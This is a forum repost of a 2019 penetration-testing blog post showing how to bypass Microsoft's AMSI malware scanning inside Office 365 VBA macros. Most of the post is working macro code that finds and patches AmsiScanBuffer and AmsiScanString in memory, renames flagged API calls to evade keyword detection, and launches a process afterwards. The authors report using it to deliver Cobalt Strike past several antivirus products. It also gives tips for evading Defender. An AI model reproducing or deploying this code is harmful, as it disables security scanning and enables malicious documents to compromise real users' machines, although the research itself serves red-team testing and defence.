Jump to content
Nytro

Dynamic Microsoft Office 365 AMSI In Memory Bypass Using VBA

Recommended Posts

Dynamic Microsoft Office 365 AMSI In Memory Bypass Using VBA

By ?s=35&d=mm&r=g Last updated on 10th May 2019

By Richard Davy (@rd_pentest) & Gary Nield (@Monobehaviour)

As most Pentesters know, Windows Defender is installed by default on Windows 10 and all new versions of Windows Server. During an engagement this can sometimes be frustrating, when wanting to obtain access to a remote machine, especially during a Phishing engagement.

There are multiple AMSI bypasses available on the Internet and with some customisation my colleague and I, during previous research time at ECSC Plc, wrote some custom tools to achieve this goal for internal engagements.

For the most part AMSI, using PowerShell, can be bypassed using simple obfuscation. AMSI within VBA, however, is very different.

Further detailed information of how AMSI works within VBA can be found here

https://www.microsoft.com/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/

amsi_vba-1024x482.png VBA/AMSI Analysis Process

Essentially, logging occurs before functions are called, which means that code is de-obfuscated before it is run. This gives Anti-Virus (AV) an opportunity to inspect it for malicious or suspicious behaviour.

The result is that obfuscation is still useful for bypassing signature detection of the file, however, upon execution the code will still get flagged as a potential security concern by AMSI.

fig3-malicious-macro-notification.png Malicious Macro Detection Alert

After some investigation (Googling) we found that some research had been undertaken in this area, along with several posts of malware dissection. Two prominent examples are below.

https://blog.yoroi.company/research/the-document-that-eluded-applocker-and-amsi/

https://idafchev.github.io/research/2019/03/23/office365_amsi_bypass.html

The first link is analysis of malware found in the wild, which appears to use an in-memory bypass written by rastamouse, written in C# and can be located at the URL below.

https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/master/ASBBypass/Program.cs

pasted-image-0.png Rastamouse Source Code

The second link is a post detailing research, which has already been completed and submitted to Microsoft. Microsoft’s response informed the researcher that they have addressed the issues raised.

The author provided an initial port of the code to VBA, which gave a suitable starting point.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As LongPtr)
 
Private Sub Document_Open()
    Dim AmsiDLL As LongPtr
    Dim AmsiScanBufferAddr As LongPtr
    Dim result As Long
    Dim MyByteArray(6) As Byte
    Dim ArrayPointer As LongPtr
 
    MyByteArray(0) = 184 ' 0xB8
    MyByteArray(1) = 87  ' 0x57
    MyByteArray(2) = 0   ' 0x00
    MyByteArray(3) = 7   ' 0x07
    MyByteArray(4) = 128 ' 0x80
    MyByteArray(5) = 195 ' 0xC3
 
    AmsiDLL = LoadLibrary("amsi.dll")
    AmsiScanBufferAddr = GetProcAddress(AmsiDLL, "AmsiScanBuffer")
    result = VirtualProtect(ByVal AmsiScanBufferAddr, 5, 64, 0)
    ArrayPointer = VarPtr(MyByteArray(0))
    CopyMemory ByVal AmsiScanBufferAddr, ByVal ArrayPointer, 6
     
End Sub

After various modifications to the author’s code, it appeared that Microsoft’s method of addressing this issue was to flag as malicious any instance of the following keywords irrespective of their order of use.

AmsiScanBuffer
AmsiScanString
RtlMoveMemory
CopyMemory

In theory, this defends multiple AMSI bypasses, which are publicly available on the Internet, as most are based around the premise of finding AmsiScanBuffer/AmsiScanString and patching the bytes in memory.

This meant that we would have to put on our thinking caps in order to come up with an efficient way around the problem.

To make life even more difficult for ourselves we decided that neither of us liked the current AMSI bypass as it didn’t check the byte locations for expected bytes before patching which could result in a program crash and that we’d be executing payloads without knowing whether AMSI was bypassed which could potentially give the game away – not ideal in a Redteam scenario.

We also noticed that the code did not check whether Office was running in x32 or x64, both of which are offered by Microsoft and could result in a crash if patched arbitrarily.

In order to investigate further we used WinDbg, which can be downloaded and installed via the link below.

https://developer.microsoft.com/en-us/windows/downloads/windows-10-sdk

To view the assembly code we are interested in, we first need to attach to the winword.exe process. To achieve this press F6, select winword.exe and then OK.

attachtoprocess.jpg Windbg Attach to Process

Then in the debugger window type
u amsi!amsiScanBuffer l100

amsi_scanstring.jpg AMSI Disassembly

We can see both the AmsiScanBuffer and AmsiScanString assembly code, and we can also see the names of neighbouring functions – of notable interest is AmsiUacInitialize.

We decided to modify the PoC code to see if we could successfully search for the address of AmsiUacInitialize and we were successful.

1
2
3
4
5
6
7
8
9
10
11
Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
 
Private Sub Test()
    Dim AmsiDLL As LongPtr
    Dim AmsiScanBufferAddr As LongPtr
 
    AmsiDLL = LoadLibrary("amsi.dll")
    AmsiScanBufferAddr = GetProcAddress(AmsiDLL, " AmsiUacInitialize ")
     
End Sub

The above code returns the address for “AmsiUacInitialize” and if we then subtract 80 from this value, we get the start address for “AmsiScanString”, similarly if we subtract 256 we get the start address for “AmsiScanBuffer”.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
 
Private Sub x64_Office()
    Dim AmsiDLL As LongPtr
    Dim AmsiScanBufferAddr As LongPtr
    Dim AmsiScanStringAddr As LongPtr
 
    AmsiDLL = LoadLibrary("amsi.dll")
 
    AmsiScanBufferAddr = GetProcAddress(AmsiDLL, " AmsiUacInitialize ") - 256
    Debug.print Hex(AmsiScanBufferAddr)
 
    AmsiScanStringAddr = GetProcAddress(AmsiDLL, " AmsiUacInitialize ") - 80
    Debug.print Hex(AmsiScanStringAddr)
 
End Sub

We’ve now solved the first part of the puzzle; the next part is patching memory, which can be done using RtlFillMemory, though we need to make a simple change first.

1
Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDest As Any, pSource As Any, ByVal ByteLen As Long)

During testing we found that if we left the Sub name as CopyMemory it got flagged by AMSI, however, AMSI was quite happy for us to use this function if we renamed CopyMemory to something else such as ByteSwapper.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Declare PtrSafe Sub ByteSwapper Lib "kernel32" Alias "RtlMoveMemory" (pDest As Any, pSource As Any, ByVal ByteLen As Long)
Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
Declare PtrSafe Sub ByteSwapper Lib "kernel32" Alias "RtlMoveMemory" (pDest As Any, pSource As Any, ByVal ByteLen As Long)
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
 
Private Sub x64_Office()
     
    Dim AmsiDLL As LongPtr
    Dim AmsiScanBufferAddr As LongPtr
    Dim AmsiScanStringAddr As LongPtr
    Dim result As Long
 
    AmsiDLL = LoadLibrary("amsi.dll")
 
    AmsiScanBufferAddr = GetProcAddress(AmsiDLL, " AmsiUacInitialize ") - 256
    Debug.print Hex(AmsiScanBufferAddr)
 
    result = VirtualProtect(ByVal AmsiScanBufferAddr, 32, 64, 0)
    ByteSwapper ByVal (AmsiScanBufferAddr + 0), 1, Val("&H" & "90") – Modify the byte to NOP
 
 
    AmsiScanStringAddr = GetProcAddress(AmsiDLL, " AmsiUacInitialize ") - 80
    Debug.print Hex(AmsiScanStringAddr)
 
    result = VirtualProtect(ByVal AmsiScanStringAddr, 32, 64, 0)
    ByteSwapper ByVal (AmsiScanStringAddr + 0), 1, Val("&H" & "90") – Modify the byte to NOP
 
 
End Sub

The above code will successfully bypass AMSI within x64 Version of Microsoft Office 365.

Whilst the PoC works, a simple way to stop it would be to black list AmsiUacInitialize, using the same technique used to detect AmsiScanString and AmsiScanBuffer.

To make this a little more robust, we decided to improve the code by dynamically calculating the code offsets, which we want to modify. This would then enable us to use any of the functions within amsi.dll to calculate the memory locations we need to patch. To mitigate, Microsoft would theoretically need to blacklist all of the functions.

However, by reading memory and searching for the magic bytes to patch, we could just read the entire contents of amsi.dll in memory, starting from the amsi.dll base address and patch once the magic byte location was found.

We also wanted to make this work on both x32 and x64 versions of Office 365, within one document rather than having a macro for each version.

We decided to get the easy bit out of the way first, the following code detects whether Office 365 x32 or x64 is running and enables us to branch of accordingly.

1
2
3
4
5
6
7
8
9
10
Sub TestOfficeVersion()
 
'Test the Office version for x32 or x64 version
#If Win64 Then
    Call x64_office
#ElseIf Win32 Then
    Call x32_office
#End If
 
End Sub

In order to read the bytes we want from memory, the first API we tried was:

1
Private Declare Sub RtlCopyMemory Lib "kernel32.dll" (ByRef Destination As Long, ByRef Source As Long, ByVal Length As Long)

This API was initially successful, however, what we then later discovered was that RtlCopyMemory is only available for x64 and not x32. This initially puzzled us for a while, and we delved into Microsoft TechNet looking for other functions that we could use; we were both set on this code working on both x32 and x64. Further research revealed the breakthrough that we needed.

RtlCopyMemory and RtlMoveMemory are both in fact an alias for memcpy, which is within the msvcrt.dll library. It can be referenced directly and luckily works for both x32 and x64.

1
Declare PtrSafe Sub Peek Lib "msvcrt" Alias "memcpy" (ByRef pDest As Any, ByRef pSource As Any, ByVal nBytes As Long)

To get a buffer of bytes from memory, we take the offset of AmsiUacInitialize and go backwards an arbitrary value to somewhere before our code should be. We chose AmsiUacInitialize address – 352.

Using this as the starting point we then increment forward 352 places, byte by byte and add this to a buffer.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Function GetBuffer(LeakedAmsiDllAddr As LongPtr, TraverseOffset As Integer) As String
 
Dim LeakedBytesBuffer As String
Dim LeakedByte As LongPtr
Dim TraverseStartAddr As LongPtr
 
On Error Resume Next
 
TraverseStartAddr = LeakedAmsiDllAddr - TraverseOffset
 
Dim i As Integer
For i = 0 To TraverseOffset
    Peek LeakedByte, ByVal (TraverseStartAddr + i), 1
 
    If LeakedByte < 16 Then
        FixedByteString = "0" &amp; Hex(LeakedByte)
        LeakedBytesBuffer = LeakedBytesBuffer &amp; FixedByteString
    Else
        LeakedBytesBuffer = LeakedBytesBuffer &amp; Hex(LeakedByte)
    End If
Next i
 
GetBuffer = LeakedBytesBuffer
 
End Function

After execution we get something similar to the following bytes as a buffer.

4C8BDC49895B0849896B104989731857415641574883EC704D8BF9418BF8488BF2488BD9488B0DADDA0000488D05A6DA0000488BAC24B80000004C8BB424B0000000483BC87423F6411C04741D488B49104C8BCB49896BB04D8973A8448944242849895398E8D2F7FFFF4885F6746685FF74624885ED745D4885DB7458813B414D53497550488B43084885C07447488B4B104885C9743E4889442458488D150D85000048895424404533C94889742448488D542440897C24504C8BC54C897C24604C89742468488B01488B4018FF15658B0000EB05B8570007804C8D5C2470498B5B20498B6B28498B7330498BE3415F415E5FC3CCCCCCCCCCCCCCCCCCCCCCCC4883EC384533DB4885D2743D4C8B5424604D85D274334883C8FF48FFC06644391C4275F64803C041BBFFFFFFFF493BC377174C895424284C894C24204D8BC8448BC0E8B9FEFFFFEB05B8570007804883C438C3CCCCCCCCCCCCCCCCCCCCCCCCCC48

We then need to confirm that our magic bytes are amongst this buffer and if so, calculate the new offset location to use for patching.

The InStr function will compare two strings and return the position of the first occurrence of one string within another.

InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanBufferMagicBytes)

Therefore, if InstructionInStringOffset is greater than zero, it means we have our magic bytes and can continue.

To calculate the offset in the code, we take the starting point of where we read the buffer from, calculated as follows:

LeakedAmsiDllAddr – TraverseOffset

We then take the value of InstructionInStringOffset and subtract 1, to make sure our final offset value is one byte before the location we want to patch and then divide by two, to take into account we’re working in bytes.

1
2
3
4
5
6
7
Function FindPatchOffset(LeakedAmsiDllAddr As LongPtr, TraverseOffset As Integer, InstructionInStringOffset As Integer) As LongPtr
 
Dim memOffset As Integer
memOffset = (InstructionInStringOffset - 1) / 2
FindPatchOffset = (LeakedAmsiDllAddr - TraverseOffset) + memOffset
 
End Function

Now that we can dynamically calculate our base patch offset, we can now rewrite our initial PoC code to take these changes and additional functions into account.

Patching in this manner, offers us quite a bit of freedom, both with regard to detection and also should the amsi.dll library change. 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
Sub x64_office()
 
Dim LeakedAmsiDllAddr As LongPtr
 
Dim ScanBufferMagicBytes As String
Dim ScanStringMagicBytes As String
Dim LeakedBytesBuffer As String
Dim AmsiScanBufferPatchAddr As LongPtr
Dim AmsiScanStringPatchAddr As LongPtr
Dim TrvOffset As Integer
 
Dim InstructionInStringOffset As Integer
 
ScanBufferMagicBytes = "4C8BDC49895B08"
ScanStringMagicBytes = "4883EC384533DB"
TrvOffset = 352
 
LeakedAmsiDllAddr = LoadDll("amsi.dll", "AmsiUacInitialise")
 
LeakedBytesBuffer = GetBuffer(LeakedAmsiDllAddr, TrvOffset)
 
InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanBufferMagicBytes)
If InstructionInStringOffset = 0 Then
    ' MsgBox "We didn't find the scanbuffer magicbytes :/"
Else
    AmsiScanBufferPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset)
 
    Result = VirtualProtect(ByVal AmsiScanBufferPatchAddr, 32, 64, 0)
    ByteSwapper ByVal (AmsiScanBufferPatchAddr + 0), 1, Val("&amp;H" &amp; "90")
    ByteSwapper ByVal (AmsiScanBufferPatchAddr + 1), 1, Val("&amp;H" &amp; "C3")
End If
 
InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanStringMagicBytes)
If InstructionInStringOffset = 0 Then
    ' MsgBox "We didn't find the scanstring magicbytes :/"
Else
    AmsiScanStringPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset)
 
    Result = VirtualProtect(ByVal AmsiScanStringPatchAddr, 32, 64, 0)
    ByteSwapper ByVal (AmsiScanStringPatchAddr + 0), 1, Val("&amp;H" &amp; "90")
    ByteSwapper ByVal (AmsiScanStringPatchAddr + 1), 1, Val("&amp;H" &amp; "C3")
End If
 
End Sub

Now that we have control over AMSI this wouldn’t be complete if we didn’t briefly talk about launching payloads.

Using functions such as ShellExecute or similar got detected by Windows Defender, both as other strains of Malware but also via the behavioural analysis detection.

The most reliable method involved using CreateProcess, which bypasses detection by Windows Defender.

During this research we also noted that Windows Defender could be bypassed quite easily by writing a simple encoder/decoder for strings, such as PowerShell cradles, encoding to base64.Decoding with native tools such as certutil.exe is unnecessary and increases the chances of detection.

Full working code of both the x64 and x32 bypass can be seen below.

The code below does not use any form of obfuscation nor does it do anything malicious it just launches good old calc. However with a little bit of extra work as seen in the videos below it can be used to successfully launch Cobalt Strike and bypass multiple AV vendor protections.

Each AV solution tested was in its default out of the box installation state, no further configuration or hardening has been applied.

Note – Prior to publishing this blog post we contacted Microsoft Response Centre and raised the issue of bypassing AMSI using VBA within Macros and they do not consider it a vulnerability.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
 
Private Declare PtrSafe Sub ByteSwapper Lib "kernel32.dll" Alias "RtlFillMemory" (Destination As Any, ByVal Length As Long, ByVal Fill As Byte)
 
Declare PtrSafe Sub Peek Lib "msvcrt" Alias "memcpy" (ByRef pDest As Any, ByRef pSource As Any, ByVal nBytes As Long)
 
Private Declare PtrSafe Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" (ByVal dwAccess As Long, ByVal fInherit As Integer, ByVal hObject As Long) As Long
Private Declare PtrSafe Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare PtrSafe Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
 
Private Type PROCESS_INFORMATION
    hProcess As Long
    hThread As Long
    dwProcessId As Long
    dwThreadId As Long
End Type
 
Private Type STARTUPINFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
    hStdInput As Long
    hStdOutput As Long
    hStdError As Long
End Type
 
Const CREATE_NO_WINDOW = &amp;H8000000
Const CREATE_NEW_CONSOLE = &amp;H10
 
Function LoadDll(dll As String, func As String) As LongPtr
 
Dim AmsiDLL As LongPtr
 
AmsiDLL = LoadLibrary(dll)
LoadDll = GetProcAddress(AmsiDLL, func)
 
End Function
 
Function GetBuffer(LeakedAmsiDllAddr As LongPtr, TraverseOffset As Integer) As String
 
Dim LeakedBytesBuffer As String
Dim LeakedByte As LongPtr
Dim TraverseStartAddr As LongPtr
 
On Error Resume Next
 
TraverseStartAddr = LeakedAmsiDllAddr - TraverseOffset
 
Dim i As Integer
For i = 0 To TraverseOffset
    Peek LeakedByte, ByVal (TraverseStartAddr + i), 1
 
    If LeakedByte < 16 Then
        FixedByteString = "0" &amp; Hex(LeakedByte)
        LeakedBytesBuffer = LeakedBytesBuffer &amp; FixedByteString
    Else
        LeakedBytesBuffer = LeakedBytesBuffer &amp; Hex(LeakedByte)
    End If
Next i
 
GetBuffer = LeakedBytesBuffer
 
End Function
 
Function FindPatchOffset(LeakedAmsiDllAddr As LongPtr, TraverseOffset As Integer, InstructionInStringOffset As Integer) As LongPtr
 
Dim memOffset As Integer
 
memOffset = (InstructionInStringOffset - 1) / 2
FindPatchOffset = (LeakedAmsiDllAddr - TraverseOffset) + memOffset
 
End Function
 
Sub x64_office()
 
Dim LeakedAmsiDllAddr As LongPtr
 
Dim ScanBufferMagicBytes As String
Dim ScanStringMagicBytes As String
Dim LeakedBytesBuffer As String
Dim AmsiScanBufferPatchAddr As LongPtr
Dim AmsiScanStringPatchAddr As LongPtr
Dim TrvOffset As Integer
 
Dim InstructionInStringOffset As Integer
Dim Success As Integer
 
ScanBufferMagicBytes = "4C8BDC49895B08"
ScanStringMagicBytes = "4883EC384533DB"
TrvOffset = 352
Success = 0
 
LeakedAmsiDllAddr = LoadDll("amsi.dll", "AmsiUacInitialise")
 
LeakedBytesBuffer = GetBuffer(LeakedAmsiDllAddr, TrvOffset)
 
InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanBufferMagicBytes)
If InstructionInStringOffset = 0 Then
    ' MsgBox "We didn't find the scanbuffer magicbytes :/"
Else
    AmsiScanBufferPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset)
 
    Result = VirtualProtect(ByVal AmsiScanBufferPatchAddr, 32, 64, 0)
    ByteSwapper ByVal (AmsiScanBufferPatchAddr + 0), 1, Val("&amp;H" &amp; "90")
    ByteSwapper ByVal (AmsiScanBufferPatchAddr + 1), 1, Val("&amp;H" &amp; "C3")
    Success = Success + 1
End If
 
 
InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanStringMagicBytes)
If InstructionInStringOffset = 0 Then
    ' MsgBox "We didn't find the scanstring magicbytes :/"
Else
    AmsiScanStringPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset)
 
    Result = VirtualProtect(ByVal AmsiScanStringPatchAddr, 32, 64, 0)
    ByteSwapper ByVal (AmsiScanStringPatchAddr + 0), 1, Val("&amp;H" &amp; "90")
    ByteSwapper ByVal (AmsiScanStringPatchAddr + 1), 1, Val("&amp;H" &amp; "C3")
    Success = Success + 1
End If
 
If Success = 2 Then
    Call CallMe
End If
 
End Sub
 
Sub x32_office()
 
Dim LeakedAmsiDllAddr As LongPtr
 
Dim ScanBufferMagicBytes As String
Dim ScanStringMagicBytes As String
Dim LeakedBytesBuffer As String
Dim AmsiScanBufferPatchAddr As LongPtr
Dim AmsiScanStringPatchAddr As LongPtr
Dim TrvOffset As Integer
 
Dim InstructionInStringOffset As Integer
Dim Success As Integer
 
ScanBufferMagicBytes = "8B450C85C0745A85DB"
ScanStringMagicBytes = "8B550C85D27434837D"
TrvOffset = 300
Success = 0
 
LeakedAmsiDllAddr = LoadDll("amsi.dll", "AmsiUacInitialise")
 
LeakedBytesBuffer = GetBuffer(LeakedAmsiDllAddr, TrvOffset)
 
InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanBufferMagicBytes)
If InstructionInStringOffset = 0 Then
    ' MsgBox "We didn't find the scanbuffer magicbytes :/"
Else
    AmsiScanBufferPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset)
 
    Debug.Print Hex(AmsiScanBufferPatchAddr)
 
    Result = VirtualProtect(ByVal AmsiScanBufferPatchAddr, 32, 64, 0)
    ByteSwapper ByVal (AmsiScanBufferPatchAddr + 0), 1, Val("&amp;H" &amp; "90")
    ByteSwapper ByVal (AmsiScanBufferPatchAddr + 1), 1, Val("&amp;H" &amp; "31")
    ByteSwapper ByVal (AmsiScanBufferPatchAddr + 2), 1, Val("&amp;H" &amp; "C0")
    Success = Success + 1
End If
 
InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanStringMagicBytes)
If InstructionInStringOffset = 0 Then
    ' MsgBox "We didn't find the scanstring magicbytes :/"
Else
    AmsiScanStringPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset)
 
    Debug.Print Hex(AmsiScanStringPatchAddr)
 
    Result = VirtualProtect(ByVal AmsiScanStringPatchAddr, 32, 64, 0)
    ByteSwapper ByVal (AmsiScanStringPatchAddr + 0), 1, Val("&amp;H" &amp; "90")
    ByteSwapper ByVal (AmsiScanStringPatchAddr + 1), 1, Val("&amp;H" &amp; "31")
    ByteSwapper ByVal (AmsiScanStringPatchAddr + 2), 1, Val("&amp;H" &amp; "D2")
    Success = Success + 1
End If
 
If Success = 2 Then
    Call CallMe
End If
 
End Sub
 
End Function
 
Sub TestOfficeVersion()
 
#If Win64 Then
    Call x64_office
#ElseIf Win32 Then
    Call x32_office
#End If
 
End Sub
 
Sub CallMe()
     
Dim pInfo As PROCESS_INFORMATION
Dim sInfo As STARTUPINFO
Dim sNull As String
Dim lSuccess As Long
Dim lRetValue As Long
 
lSuccess = CreateProcess(sNull, "calc.exe", ByVal 0&amp;, ByVal 0&amp;, 1&amp;, CREATE_NEW_CONSOLE, ByVal 0&amp;, sNull, sInfo, pInfo)
 
lRetValue = CloseHandle(pInfo.hThread)
lRetValue = CloseHandle(pInfo.hProcess)
 
End Sub

The videos below demonstrates a malicious Word document being launched on multiple systems where AMSI is enabled and different AV solutions are installed. In each case a Cobalt Strike session is successfully launched.

Windows Defender Kaspersky Total Security Kaspersky Endpoint Security Sophos Home Sophos Endpoint Windows Defender

 

Sursa: https://secureyourit.co.uk/wp/2019/05/10/dynamic-microsoft-office-365-amsi-in-memory-bypass-using-vba/

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...